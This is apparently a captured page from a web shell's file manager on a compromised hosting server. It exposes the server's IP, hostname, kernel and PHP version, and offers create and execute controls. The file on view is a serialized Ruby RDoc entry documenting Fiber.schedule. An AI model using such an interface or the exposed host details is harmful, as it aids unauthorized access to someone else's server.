⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Fiber
/
View File Name :
schedule-c.ri
U:RDoc::AnyMethod[iI" schedule:ETI"Fiber::schedule;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"XThe method is
expected
to immediately run the provided block of code in a ;TI"!separate non-blocking fiber.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"puts "Go to sleep!" ;TI" ;TI"*Fiber.set_scheduler(MyScheduler.new) ;TI" ;TI"Fiber.schedule do ;TI" puts "Going to sleep" ;TI" sleep(1) ;TI" puts "I slept well" ;TI" end ;TI" ;TI"$puts "Wakey-wakey, sleepyhead" ;T:@format0o; ; [I"MAssuming MyScheduler is properly implemented, this program will produce:;T@o;; [ I"Go to sleep! ;TI"Going to sleep ;TI"Wakey-wakey, sleepyhead ;TI"...1 sec pause here... ;TI"I slept well ;T; 0o; ; [ I"S...e.g. on the first blocking operation inside the Fiber (
sleep(1)
), ;TI"Qthe control is yielded at the outside code (main fiber), and
at the end ;TI"Rof the execution
, the scheduler takes care of properly resuming all the ;TI"blocked fibers.;T@o; ; [ I"SNote that the behavior described above is how the method is
expected
;TI"Sto behave, actual behavior is up to the current scheduler's implementation of ;TI"QFiber::SchedulerInterface#fiber method. Ruby doesn't enforce this method to ;TI""behave in any particular way.;T@o; ; [I"4If the scheduler is not set, the method raises ;TI"8
RuntimeError (No scheduler is available!)
.;T: @fileI"cont.c;T:0@omit_headings_from_table_of_contents_below0I"-Fiber.schedule { |*args| ... } -> fiber ;T0[ I"(*args);T@7FI" Fiber;TcRDoc::NormalClass00